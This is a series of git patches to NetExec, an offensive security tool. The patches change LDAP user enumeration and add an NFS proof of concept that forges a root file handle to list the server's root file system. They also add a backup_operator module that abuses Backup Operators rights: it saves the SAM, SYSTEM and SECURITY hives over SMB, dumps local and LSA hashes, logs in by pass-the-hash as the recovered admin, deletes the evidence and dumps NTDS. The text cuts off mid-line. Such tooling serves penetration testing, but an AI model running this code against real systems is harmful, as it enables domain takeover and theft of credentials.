+ for item in resp_args: + sAMAccountName = item.get("sAMAccountName") if item.get("sAMAccountName") else "" + pwd_last_set = "" if item.get("pwdLastSet") is None else (str(datetime.fromtimestamp(self.getUnixTime(int(item.get("pwdLastSet")))).strftime("%Y-%m-%d %H:%M:%S")) if str(item.get("pwdLastSet")) != "0" else "0") + pwdcount = item.get("pwdcount") if item.get("pwdcount") else "" + description = item.get("description") if item.get("description") else "" if sAMAccountName.lower() in activeusers: - self.logger.highlight(f"{sAMAccountName:<30}{parsed_pw_last_set:<20}{pwdcount:<8}{description}") - + self.logger.highlight(f"{sAMAccountName:<30}{pwd_last_set:<20}{pwdcount:<8}{description}") return + self.logger.display(f"Total records returned: {len(activeusers)}, total {len(allusers) - len(activeusers)} user(s) disabled") if not arg else self.logger.display(f"Total records returned: {len(argsusers)}, Total {len(allusers) - len(activeusers)} user(s) disabled") self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<8}{'-Description-':<60}") for arguser in argsusers: - pwd_last_set = arguser.get("pwdLastSet", "") # Retrieves pwdLastSet directly and defaults to an empty string. - parsed_pw_last_set = pwd_last_set_func(pwd_last_set) + # Retrieves pwdLastSet directly and defaults to an empty string. + pwd_last_set = arguser.get("pwdLastSet", "") if arguser.get("pwdLastSet") in ["", None] else ("0" if str(arguser.get("pwdLastSet")) == "0" else str(datetime.fromtimestamp(self.getUnixTime(int(arguser.get("pwdLastSet")))).strftime("%Y-%m-%d %H:%M:%S"))) if arguser.get("sAMAccountName").lower() in activeusers and arg is False: - self.logger.highlight(f"{arguser.get('sAMAccountName', ''):<30}{parsed_pw_last_set:<20}{arguser.get('badPwdCount', ''):<8}{arguser.get('description', ''):<60}") + self.logger.highlight(f"{arguser.get('sAMAccountName', ''):<30}{pwd_last_set:<20}{arguser.get('badPwdCount', ''):<8}{arguser.get('description', ''):<60}") elif (arguser.get("sAMAccountName").lower() not in activeusers) and arg is True: - self.logger.highlight(f"{arguser.get('sAMAccountName', '') + ' (Disabled)':<30}{parsed_pw_last_set:<20}{arguser.get('badPwdCount', ''):<8}{arguser.get('description', ''):<60}") + self.logger.highlight(f"{arguser.get('sAMAccountName', '') + ' (Disabled)':<30}{pwd_last_set:<20}{arguser.get('badPwdCount', ''):<8}{arguser.get('description', ''):<60}") elif (arguser.get("sAMAccountName").lower() in activeusers): - self.logger.highlight(f"{arguser.get('sAMAccountName', ''):<30}{parsed_pw_last_set:<20}{arguser.get('badPwdCount', ''):<8}{arguser.get('description', ''):<60}") + self.logger.highlight(f"{arguser.get('sAMAccountName', ''):<30}{pwd_last_set:<20}{arguser.get('badPwdCount', ''):<8}{arguser.get('description', ''):<60}") def asreproast(self): if self.password == "" and self.nthash == "" and self.kerberos is False: From f4617f64368188464e0d97517d003b26d9a84b4f Mon Sep 17 00:00:00 2001 From: termanix <50464194+termanix@users.noreply.github.com> Date: Mon, 21 Oct 2024 22:02:05 +0300 Subject: [PATCH 07/78] removed unused timedelta Signed-off-by: termanix <50464194+termanix@users.noreply.github.com> --- nxc/protocols/ldap.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index ee0c91b3..956c9547 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -5,7 +5,7 @@ import hmac import os import socket from binascii import hexlify -from datetime import datetime, timedelta +from datetime import datetime from re import sub, I from zipfile import ZipFile from termcolor import colored From a1bb4ee0dfabb49c30985a3b33d95b4783cc8b32 Mon Sep 17 00:00:00 2001 From: termanix <50464194+termanix@users.noreply.github.com> Date: Mon, 21 Oct 2024 22:05:51 +0300 Subject: [PATCH 08/78] update ldap_results for now --- nxc/parsers/ldap_results.py | 13 +++++++++---- 1 file changed, 9 insertions(+), 4 deletions(-) diff --git a/nxc/parsers/ldap_results.py b/nxc/parsers/ldap_results.py index b9a68c83..ac77f6ec 100644 --- a/nxc/parsers/ldap_results.py +++ b/nxc/parsers/ldap_results.py @@ -7,8 +7,13 @@ def parse_result_attributes(ldap_response): if not isinstance(entry, ldapasn1_impacket.SearchResultEntry): continue attribute_map = {} - for attribute in entry["attributes"]: - val = [str(val).encode(val.encoding).decode("utf-8") for val in attribute["vals"].components] - attribute_map[str(attribute["type"])] = val if len(val) > 1 else val[0] - parsed_response.append(attribute_map) + if not entry["attributes"]: + if "objectName" in entry: + # Extract the username from the objectName + parsed_response.append({"objectName": str(entry["objectName"]), "sAMAccountName": str(entry["objectName"]).split(",")[0].split("=")[1]}) + else: + for attribute in entry["attributes"]: + val = [str(val).encode(val.encoding).decode("utf-8") for val in attribute["vals"].components] + attribute_map[str(attribute["type"])] = val if len(val) > 1 else val[0] + parsed_response.append(attribute_map) return parsed_response \ No newline at end of file From a2ae0bde18b0ad12203186ec73865dbce266882a Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Fri, 3 Jan 2025 20:19:35 -0500 Subject: [PATCH 09/78] POC for escape to root file system --- nxc/protocols/nfs.py | 57 ++++++++++++++++++++++++++++++++- nxc/protocols/nfs/proto_args.py | 1 + 2 files changed, 57 insertions(+), 1 deletion(-) diff --git a/nxc/protocols/nfs.py b/nxc/protocols/nfs.py index ccaceba4..d13e2d30 100644 --- a/nxc/protocols/nfs.py +++ b/nxc/protocols/nfs.py @@ -1,13 +1,27 @@ from nxc.connection import connection from nxc.logger import NXCAdapter from nxc.helpers.logger import highlight -from pyNfsClient import Portmap, Mount, NFSv3, NFS_PROGRAM, NFS_V3, ACCESS3_READ, ACCESS3_MODIFY, ACCESS3_EXECUTE, NFSSTAT3 +from pyNfsClient import ( + Portmap, + Mount, + NFSv3, + NFS_PROGRAM, + NFS_V3, + ACCESS3_READ, + ACCESS3_MODIFY, + ACCESS3_EXECUTE, + NFSSTAT3, + NF3DIR, + ) import re import uuid import math import os +from pprint import pprint + + class nfs(connection): def __init__(self, args, db, host): self.protocol = "nfs" @@ -389,6 +403,47 @@ class nfs(connection): else: self.logger.highlight(f"File {local_file_path} successfully uploaded to {remote_file_path}") + def get_root_handle(self, file_handle): + """ + Get the root handle of the NFS share + Sources: + https://github.com/spotify/linux/blob/master/include/linux/nfsd/nfsfh.h + https://github.com/hvs-consulting/nfs-security-tooling/blob/main/nfs_analyze/nfs_analyze.py + + Usually: + - 1 byte: 0x01 fb_version + - 1 byte: 0x00 fb_auth_type, can be 0x00 (no auth) and 0x01 (some md5 auth) + - 1 byte: 0xXX fb_fsid_type -> determines the legth of the fsid + - 1 byte: 0xXX fb_fileid_type + """ + fh = bytearray(file_handle) + # Concatinate old header with root Inode and Generation id + return bytes(fh[:3] + int.to_bytes(NF3DIR) + fh[4:] + b"\x02\x00\x00\x00" + b"\x00\x00\x00\x00") + + def ls(self): + nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3) + self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth) + self.nfs3.connect() + + output_export = str(self.mount.export()) + + reg = re.compile(r"ex_dir=b'([^']*)'") # Get share names + shares = list(reg.findall(output_export)) + + for share in ["/var/nfs/general"]: + mount_info = self.mount.mnt(share, self.auth) + fh = mount_info["mountinfo"]["fhandle"] + root_fh = self.get_root_handle(fh) + + # pprint(self.nfs3.readdir(root_fh, auth=self.auth)) + + content = self.nfs3.readdir(root_fh, auth=self.auth)["resok"]["reply"]["entries"] + self.logger.success(f"Using share '{share}' for escape to root fs") + while content: + for entry in content: + self.logger.highlight(f"{entry['name'].decode()}") + content = entry["nextentry"] if "nextentry" in entry else None + self.mount.umnt(self.auth) def convert_size(size_bytes): if size_bytes == 0: diff --git a/nxc/protocols/nfs/proto_args.py b/nxc/protocols/nfs/proto_args.py index 48b8e41f..bf55ed95 100644 --- a/nxc/protocols/nfs/proto_args.py +++ b/nxc/protocols/nfs/proto_args.py @@ -6,6 +6,7 @@ def proto_args(parser, parents): dgroup = nfs_parser.add_argument_group("NFS Mapping/Enumeration", "Options for Mapping/Enumerating NFS") dgroup.add_argument("--shares", action="store_true", help="List NFS shares") dgroup.add_argument("--enum-shares", nargs="?", type=int, const=3, help="Authenticate and enumerate exposed shares recursively (default depth: %(const)s)") + dgroup.add_argument("--ls", const="/", nargs="?", metavar="PATH", help="List files in the specified NFS share. Example: --ls /") dgroup.add_argument("--get-file", nargs=2, metavar="FILE", help="Download remote NFS file. Example: --get-file remote_file local_file") dgroup.add_argument("--put-file", nargs=2, metavar="FILE", help="Upload remote NFS file with chmod 777 permissions to the specified folder. Example: --put-file local_file remote_file") From c0fe839e2890e72a9ab21b7f7b522f1be12be270 Mon Sep 17 00:00:00 2001 From: termanix Date: Sat, 4 Jan 2025 09:23:11 -0500 Subject: [PATCH 10/78] ldap parser stay same as main branch. users and active-users editted for both anon and user auth. --- nxc/parsers/ldap_results.py | 22 ++++++---- nxc/protocols/ldap.py | 87 +++++++++---------------------------- 2 files changed, 33 insertions(+), 76 deletions(-) diff --git a/nxc/parsers/ldap_results.py b/nxc/parsers/ldap_results.py index ac77f6ec..18edc3d5 100644 --- a/nxc/parsers/ldap_results.py +++ b/nxc/parsers/ldap_results.py @@ -1,5 +1,6 @@ from impacket.ldap import ldapasn1 as ldapasn1_impacket + def parse_result_attributes(ldap_response): parsed_response = [] for entry in ldap_response: @@ -7,13 +8,16 @@ def parse_result_attributes(ldap_response): if not isinstance(entry, ldapasn1_impacket.SearchResultEntry): continue attribute_map = {} - if not entry["attributes"]: - if "objectName" in entry: - # Extract the username from the objectName - parsed_response.append({"objectName": str(entry["objectName"]), "sAMAccountName": str(entry["objectName"]).split(",")[0].split("=")[1]}) - else: - for attribute in entry["attributes"]: - val = [str(val).encode(val.encoding).decode("utf-8") for val in attribute["vals"].components] - attribute_map[str(attribute["type"])] = val if len(val) > 1 else val[0] - parsed_response.append(attribute_map) + for attribute in entry["attributes"]: + val_list = [] + for val in attribute["vals"].components: + try: + encoding = val.encoding + val_decoded = str(val).encode(encoding).decode("utf-8") + except UnicodeDecodeError: + # If we can't decode the value, we'll just return the bytes + val_decoded = val.__bytes__() + val_list.append(val_decoded) + attribute_map[str(attribute["type"])] = val_list if len(val_list) > 1 else val_list[0] + parsed_response.append(attribute_map) return parsed_response \ No newline at end of file diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 956c9547..c35f8a93 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -734,36 +734,24 @@ class ldap(connection): search_filter = f"(|{''.join(f'(sAMAccountName={user})' for user in self.args.users)})" else: self.logger.debug("Trying to dump all users") - search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(objectclass=*)" + search_filter = "(sAMAccountType=805306368)" - # default to these attributes to mirror the SMB --users functionality + # Default to these attributes to mirror the SMB --users functionality request_attributes = ["sAMAccountName", "description", "badPwdCount", "pwdLastSet"] resp = self.search(search_filter, request_attributes, sizeLimit=0) if resp: resp_parse = parse_result_attributes(resp) - # Handle the case for anonymous LDAP bindings - if self.username == "": - self.logger.highlight(f"{'-Username-':<40}{'-Last PW Set-':<20}{'-BadPW-':<20}{'-Description-'}") - for item in resp_parse: - sAMAccountName = item.get("sAMAccountName") if item.get("sAMAccountName") else "" - parsed_pw_last_set = "" if item.get("pwdLastSet") is None else (str(datetime.fromtimestamp(self.getUnixTime(int(item.get("pwdLastSet")))).strftime("%Y-%m-%d %H:%M:%S")) if str(item.get("pwdLastSet")) != "0" else "0") - pwdcount = item.get("pwdcount") if item.get("pwdcount") else "" - description = item.get("description") if item.get("description") else "" - - self.logger.highlight(f"{sAMAccountName:<40}{parsed_pw_last_set:<20}{pwdcount:<20}{description}") - return - - # we print the total records after we parse the results since often SearchResultReferences are returned + + # We print the total records after we parse the results since often SearchResultReferences are returned self.logger.display(f"Enumerated {len(resp_parse):d} domain users: {self.domain}") - self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<8}{'-Description-':<60}") + self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<9}{'-Description-':<60}") for user in resp_parse: # TODO: functionize this - we do this calculation in a bunch of places, different, including in the `pso` module - parsed_pw_last_set = "" - pwd_last_set = user.get("pwdLastSet", "") if user.get("pwdLastSet") in ["", None] else ("0" if str(user.get("pwdLastSet")) == "0" else str(datetime.fromtimestamp(self.getUnixTime(int(user.get("pwdLastSet")))).strftime("%Y-%m-%d %H:%M:%S"))) + pwd_last_set = user.get("pwdLastSet", "") if user.get("pwdLastSet") in ["", None] else ("" if str(user.get("pwdLastSet")) == "0" else str(datetime.fromtimestamp(self.getUnixTime(int(user.get("pwdLastSet")))).strftime("%Y-%m-%d %H:%M:%S"))) - # we default attributes to blank strings if they don't exist in the dict - self.logger.highlight(f"{user.get('sAMAccountName', ''):<30}{pwd_last_set:<20}{user.get('badPwdCount', ''):<8}{user.get('description', ''):<60}") + # We default attributes to blank strings if they don't exist in the dict + self.logger.highlight(f"{user.get('sAMAccountName', ''):<30}{pwd_last_set:<20}{user.get('badPwdCount', ''):<9}{user.get('description', ''):<60}") def groups(self): # Building the search filter @@ -813,81 +801,46 @@ class ldap(connection): def active_users(self): """Helper function to format userAccountControl""" - def user_account_control_cal(user_account_control): + def check_user_account_control(user_account_control): if user_account_control is not None: # Check if user_account_control is not None account_control = "".join(user_account_control) if isinstance(user_account_control, list) else user_account_control # If it's already a list account_disabled = int(account_control) & 2 if not account_disabled: + self.count += 1 activeusers.append(user.get("sAMAccountName").lower()) return activeusers if len(self.args.active_users) > 0: arg = True self.logger.debug(f"Dumping users: {', '.join(self.args.active_users)}") - search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(objectclass=*)" - search_filter_args = f"(|{''.join(f'(sAMAccountName={user})' for user in self.args.active_users)})" + search_filter = f"(|{''.join(f'(sAMAccountName={user})' for user in self.args.active_users)})" else: arg = False self.logger.debug("Trying to dump all users") - search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(objectclass=*)" + search_filter = "(sAMAccountType=805306368)" - # default to these attributes to mirror the SMB --users functionality + # Default to these attributes to mirror the SMB --users functionality request_attributes = ["sAMAccountName", "description", "badPwdCount", "pwdLastSet", "userAccountControl"] resp = self.search(search_filter, request_attributes, sizeLimit=0) if resp: allusers = parse_result_attributes(resp) activeusers = [] - argsusers = [] - - if arg: - resp_args = self.search(search_filter_args, request_attributes, sizeLimit=0) - users_args = parse_result_attributes(resp_args) - # This try except for, if user gives a doesn't exist username. If it does, parsing process is crashing - for i in range(len(self.args.active_users)): - try: - argsusers.append(users_args[i]) - except Exception as e: - self.logger.debug("Exception:", exc_info=True) - self.logger.debug(f"Skipping item, cannot process due to error {e}") - else: - argsusers = allusers - resp_args = allusers + self.count = 0 for user in allusers: user_account_control = user.get("userAccountControl") if user_account_control: # Only shows users with userAccountControl value! If a enable user has not userAccountControl value, it wont be listing. - activeusers = user_account_control_cal(user_account_control) + activeusers = check_user_account_control(user_account_control) self.logger.debug(f"userAccountControl for user {user.get('sAMAccountName')} is None") - if self.username == "": - self.logger.display(f"Total records returned: {len(activeusers)}") - self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<8}{'-Description-':<60}") + self.logger.display(f"Total records returned: {self.count}, total {len(allusers) - self.count:d} user(s) disabled") if not arg else self.logger.display(f"Total records returned: {len(allusers)}") + self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<9}{'-Description-':<60}") - for item in resp_args: - sAMAccountName = item.get("sAMAccountName") if item.get("sAMAccountName") else "" - pwd_last_set = "" if item.get("pwdLastSet") is None else (str(datetime.fromtimestamp(self.getUnixTime(int(item.get("pwdLastSet")))).strftime("%Y-%m-%d %H:%M:%S")) if str(item.get("pwdLastSet")) != "0" else "0") - pwdcount = item.get("pwdcount") if item.get("pwdcount") else "" - description = item.get("description") if item.get("description") else "" - - if sAMAccountName.lower() in activeusers: - self.logger.highlight(f"{sAMAccountName:<30}{pwd_last_set:<20}{pwdcount:<8}{description}") - return - - self.logger.display(f"Total records returned: {len(activeusers)}, total {len(allusers) - len(activeusers)} user(s) disabled") if not arg else self.logger.display(f"Total records returned: {len(argsusers)}, Total {len(allusers) - len(activeusers)} user(s) disabled") - self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<8}{'-Description-':<60}") - - for arguser in argsusers: - # Retrieves pwdLastSet directly and defaults to an empty string. - pwd_last_set = arguser.get("pwdLastSet", "") if arguser.get("pwdLastSet") in ["", None] else ("0" if str(arguser.get("pwdLastSet")) == "0" else str(datetime.fromtimestamp(self.getUnixTime(int(arguser.get("pwdLastSet")))).strftime("%Y-%m-%d %H:%M:%S"))) - - if arguser.get("sAMAccountName").lower() in activeusers and arg is False: - self.logger.highlight(f"{arguser.get('sAMAccountName', ''):<30}{pwd_last_set:<20}{arguser.get('badPwdCount', ''):<8}{arguser.get('description', ''):<60}") - elif (arguser.get("sAMAccountName").lower() not in activeusers) and arg is True: - self.logger.highlight(f"{arguser.get('sAMAccountName', '') + ' (Disabled)':<30}{pwd_last_set:<20}{arguser.get('badPwdCount', ''):<8}{arguser.get('description', ''):<60}") - elif (arguser.get("sAMAccountName").lower() in activeusers): - self.logger.highlight(f"{arguser.get('sAMAccountName', ''):<30}{pwd_last_set:<20}{arguser.get('badPwdCount', ''):<8}{arguser.get('description', ''):<60}") + for user in allusers: + pwd_last_set = user.get("pwdLastSet", "") if user.get("pwdLastSet") in ["", None] else ("" if str(user.get("pwdLastSet")) == "0" else str(datetime.fromtimestamp(self.getUnixTime(int(user.get("pwdLastSet")))).strftime("%Y-%m-%d %H:%M:%S"))) + self.logger.highlight(f"{user.get("sAMAccountName", ''):<30}{pwd_last_set:<20}{user.get("badPwdCount", ''):<9}{user.get("description", '')}") def asreproast(self): if self.password == "" and self.nthash == "" and self.kerberos is False: From 923fc4625fec8dd91f49baf7056e3c0b3b2abe6a Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Thu, 9 Jan 2025 20:09:23 +0100 Subject: [PATCH 11/78] add backup_operator module --- nxc/modules/backup_operator.py | 141 +++++++++++++++++++++++++++++++++ 1 file changed, 141 insertions(+) create mode 100644 nxc/modules/backup_operator.py diff --git a/nxc/modules/backup_operator.py b/nxc/modules/backup_operator.py new file mode 100644 index 00000000..bfc180b6 --- /dev/null +++ b/nxc/modules/backup_operator.py @@ -0,0 +1,141 @@ +import time +import os +import datetime + +from impacket.examples.secretsdump import SAMHashes, LSASecrets, LocalOperations +from impacket.smbconnection import SessionError +from impacket.dcerpc.v5 import transport, rrp + +from nxc.paths import NXC_PATH + +class NXCModule: + name = "backup_operator" + description = "Exploit user in backup operator group to dump NTDS @mpgn_x64" + supported_protocols = ["smb"] + opsec_safe = True + multiple_hosts = True + + def __init__(self, context=None, module_options=None): + self.context = context + self.module_options = module_options + self.domain_admin = None + self.domain_admin_hash = None + + def options(self, context, module_options): + """OPTIONS""" + + def on_login(self, context, connection): + connection.args.share = "SYSVOL" + # enable remote registry + remoteOps = RemoteOperations(connection.conn) + context.log.display("Triggering start trough named pipe...") + self.triggerWinReg(connection.conn, context) + remoteOps.connectWinReg() + + try: + dce = remoteOps.getRRP() + for hive in ["HKLM\\SAM", "HKLM\\SYSTEM", "HKLM\\SECURITY"]: + hRootKey, subKey = self.__strip_root_key(dce, hive) + outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}" + context.log.debug(f"Dumping {hive}, be patient it can take a while for large hives (e.g. HKLM\\SYSTEM)") + try: + ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, dwOptions=rrp.REG_OPTION_BACKUP_RESTORE | rrp.REG_OPTION_OPEN_LINK, samDesired=rrp.KEY_READ) + rrp.hBaseRegSaveKey(dce, ans2["phkResult"], outputFileName) + context.log.highlight(f"Saved {hive} to {outputFileName}") + except Exception as e: + context.log.fail(f"Couldn't save {hive}: {e} on path {outputFileName}") + + except (Exception, KeyboardInterrupt) as e: + context.log.fail(str(e)) + finally: + if remoteOps: + remoteOps.finish() + + # copy remote file to local + remoteFileName = "SAM" + log_sam = os.path.expanduser(f"{NXC_PATH}/logs/{connection.hostname}_{connection.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}.{remoteFileName}".replace(":", "-")) + connection.get_file_single(remoteFileName, log_sam) + + remoteFileName = "SECURITY" + log_security = os.path.expanduser(f"{NXC_PATH}/logs/{connection.hostname}_{connection.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}.{remoteFileName}".replace(":", "-")) + connection.get_file_single(remoteFileName, log_security) + + remoteFileName = "SYSTEM" + log_system = os.path.expanduser(f"{NXC_PATH}/logs/{connection.hostname}_{connection.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}.{remoteFileName}".replace(":", "-")) + connection.get_file_single(remoteFileName, log_system) + + # read local file + try: + def parse_sam(secret): + context.log.highlight(secret) + if not self.domain_admin: + first_line = secret.strip().splitlines()[0] + fields = first_line.split(":") + self.domain_admin = fields[0] + self.domain_admin_hash = fields[3] + + localOperations = LocalOperations(log_system) + bootKey = localOperations.getBootKey() + sam_hashes = SAMHashes(log_sam, bootKey, isRemote=False, perSecretCallback=lambda secret: parse_sam(secret)) + sam_hashes.dump() + sam_hashes.finish() + + LSA = LSASecrets(log_security, bootKey, remoteOps, isRemote=False, perSecretCallback=lambda secret_type, secret: context.log.highlight(secret)) + LSA.dumpCachedHashes() + LSA.dumpSecrets() + except Exception as e: + context.log.fail(f"Fail to dump the sam and lsa: {e!s}") + + if self.domain_admin: + context.log.display(f"Cleaning dump with user {self.domain_admin} and hash {self.domain_admin_hash} on domain {connection.domain}") + connection.conn.logoff() + connection.create_conn_obj() + connection.hash_login(connection.domain, self.domain_admin, self.domain_admin_hash) + connection.execute("del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM") + context.log.display("Successfully deleted dump files !") + + context.log.display("Dumping NTDS...") + connection.ntds() + else: + context.log.display("Use the domain admin account to clean the file on the remote host") + context.log.display("netexec smb dc_ip -u user -p pass -x 'del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM'") + + def triggerWinReg(self, connection, context): + # original idea from https://twitter.com/splinter_code/status/1715876413474025704 + tid = connection.connectTree("IPC$") + try: + connection.openFile(tid, r"\winreg", 0x12019f, creationOption=0x40, fileAttributes=0x80) + except SessionError as e: + # STATUS_PIPE_NOT_AVAILABLE error is expected + context.log.debug(str(e)) + # give remote registry time to start + time.sleep(1) + + def __strip_root_key(self, dce, keyName): + # Let's strip the root key + keyName.split("\\")[0] + subKey = "\\".join(keyName.split("\\")[1:]) + ans = rrp.hOpenLocalMachine(dce) + hRootKey = ans["phKey"] + return hRootKey, subKey + + +class RemoteOperations: + def __init__(self, smbConnection): + self.__smbConnection = smbConnection + self.__stringBindingWinReg = r"ncacn_np:445[\pipe\winreg]" + self.__rrp = None + + def getRRP(self): + return self.__rrp + + def connectWinReg(self): + rpc = transport.DCERPCTransportFactory(self.__stringBindingWinReg) + rpc.set_smb_connection(self.__smbConnection) + self.__rrp = rpc.get_dce_rpc() + self.__rrp.connect() + self.__rrp.bind(rrp.MSRPC_UUID_RRP) + + def finish(self): + if self.__rrp is not None: + self.__rrp.disconnect() \ No newline at end of file From 11062abd4be1b85974799345985fcc302a4b8a30 Mon Sep 17 00:00:00 2001 From: mpgn Date: Thu, 9 Jan 2025 20:44:00 +0100 Subject: [PATCH 12/78] add exit if not right --- nxc/modules/backup_operator.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/nxc/modules/backup_operator.py b/nxc/modules/backup_operator.py index bfc180b6..775f71ab 100644 --- a/nxc/modules/backup_operator.py +++ b/nxc/modules/backup_operator.py @@ -1,6 +1,7 @@ import time import os import datetime +import sys from impacket.examples.secretsdump import SAMHashes, LSASecrets, LocalOperations from impacket.smbconnection import SessionError @@ -44,6 +45,7 @@ class NXCModule: context.log.highlight(f"Saved {hive} to {outputFileName}") except Exception as e: context.log.fail(f"Couldn't save {hive}: {e} on path {outputFileName}") + sys.exit() except (Exception, KeyboardInterrupt) as e: context.log.fail(str(e)) From bb8747906994b1dcc96244b91faa12a1f9aeee09 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Thu, 9 Jan 2025 21:05:05 +0100 Subject: [PATCH 13/78] add test --- tests/e2e_commands.txt | 1 + 1 file changed, 1 insertion(+) diff --git a/tests/e2e_commands.txt b/tests/e2e_commands.txt index 728e93ef..7568702a 100644 --- a/tests/e2e_commands.txt +++ b/tests/e2e_commands.txt @@ -86,6 +86,7 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M install_ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ioxidresolver netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M security-questions netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M remove-mic +netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M backup_operator # currently hanging indefinitely - TODO: look into this #netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M keepass_discover #netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M keepass_trigger -o ACTION=ALL USER=LOGIN_USERNAME KEEPASS_CONFIG_PATH="C:\\Users\\LOGIN_USERNAME\\AppData\\Roaming\\KeePass\\KeePass.config.xml" From 93acdba831a89f5faa4f8b6c14bc639eee5bcf35 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Thu, 9 Jan 2025 22:14:25 +0100 Subject: [PATCH 14/78] fix review --- nxc/modules/backup_operator.py | 93 ++++++++++++++++++---------------- 1 file changed, 48 insertions(+), 45 deletions(-) diff --git a/nxc/modules/backup_operator.py b/nxc/modules/backup_operator.py index 775f71ab..0119c39c 100644 --- a/nxc/modules/backup_operator.py +++ b/nxc/modules/backup_operator.py @@ -6,6 +6,7 @@ import sys from impacket.examples.secretsdump import SAMHashes, LSASecrets, LocalOperations from impacket.smbconnection import SessionError from impacket.dcerpc.v5 import transport, rrp +from impacket import nt_errors from nxc.paths import NXC_PATH @@ -29,14 +30,14 @@ class NXCModule: connection.args.share = "SYSVOL" # enable remote registry remoteOps = RemoteOperations(connection.conn) - context.log.display("Triggering start trough named pipe...") - self.triggerWinReg(connection.conn, context) - remoteOps.connectWinReg() + context.log.display("Triggering start through named pipe...") + self.trigger_winreg(connection.conn, context) + remoteOps.connect_winreg() try: - dce = remoteOps.getRRP() + dce = remoteOps.get_rrp() for hive in ["HKLM\\SAM", "HKLM\\SYSTEM", "HKLM\\SECURITY"]: - hRootKey, subKey = self.__strip_root_key(dce, hive) + hRootKey, subKey = self._strip_root_key(dce, hive) outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}" context.log.debug(f"Dumping {hive}, be patient it can take a while for large hives (e.g. HKLM\\SYSTEM)") try: @@ -46,7 +47,6 @@ class NXCModule: except Exception as e: context.log.fail(f"Couldn't save {hive}: {e} on path {outputFileName}") sys.exit() - except (Exception, KeyboardInterrupt) as e: context.log.fail(str(e)) finally: @@ -54,17 +54,9 @@ class NXCModule: remoteOps.finish() # copy remote file to local - remoteFileName = "SAM" - log_sam = os.path.expanduser(f"{NXC_PATH}/logs/{connection.hostname}_{connection.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}.{remoteFileName}".replace(":", "-")) - connection.get_file_single(remoteFileName, log_sam) - - remoteFileName = "SECURITY" - log_security = os.path.expanduser(f"{NXC_PATH}/logs/{connection.hostname}_{connection.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}.{remoteFileName}".replace(":", "-")) - connection.get_file_single(remoteFileName, log_security) - - remoteFileName = "SYSTEM" - log_system = os.path.expanduser(f"{NXC_PATH}/logs/{connection.hostname}_{connection.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}.{remoteFileName}".replace(":", "-")) - connection.get_file_single(remoteFileName, log_system) + log_path = os.path.expanduser(f"{NXC_PATH}/logs/{connection.hostname}_{connection.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}.".replace(":", "-")) + for hive in ["SAM", "SECURITY", "SYSTEM"]: + connection.get_file_single(hive, log_path + hive) # read local file try: @@ -76,13 +68,13 @@ class NXCModule: self.domain_admin = fields[0] self.domain_admin_hash = fields[3] - localOperations = LocalOperations(log_system) + localOperations = LocalOperations(log_path + "SYSTEM") bootKey = localOperations.getBootKey() - sam_hashes = SAMHashes(log_sam, bootKey, isRemote=False, perSecretCallback=lambda secret: parse_sam(secret)) + sam_hashes = SAMHashes(log_path + "SAM", bootKey, isRemote=False, perSecretCallback=lambda secret: parse_sam(secret)) sam_hashes.dump() sam_hashes.finish() - LSA = LSASecrets(log_security, bootKey, remoteOps, isRemote=False, perSecretCallback=lambda secret_type, secret: context.log.highlight(secret)) + LSA = LSASecrets(log_path + "SECURITY", bootKey, remoteOps, isRemote=False, perSecretCallback=lambda secret_type, secret: context.log.highlight(secret)) LSA.dumpCachedHashes() LSA.dumpSecrets() except Exception as e: @@ -94,50 +86,61 @@ class NXCModule: connection.create_conn_obj() connection.hash_login(connection.domain, self.domain_admin, self.domain_admin_hash) connection.execute("del C:\\Windows\\sysvol\\sysvol\\SECURITY && del 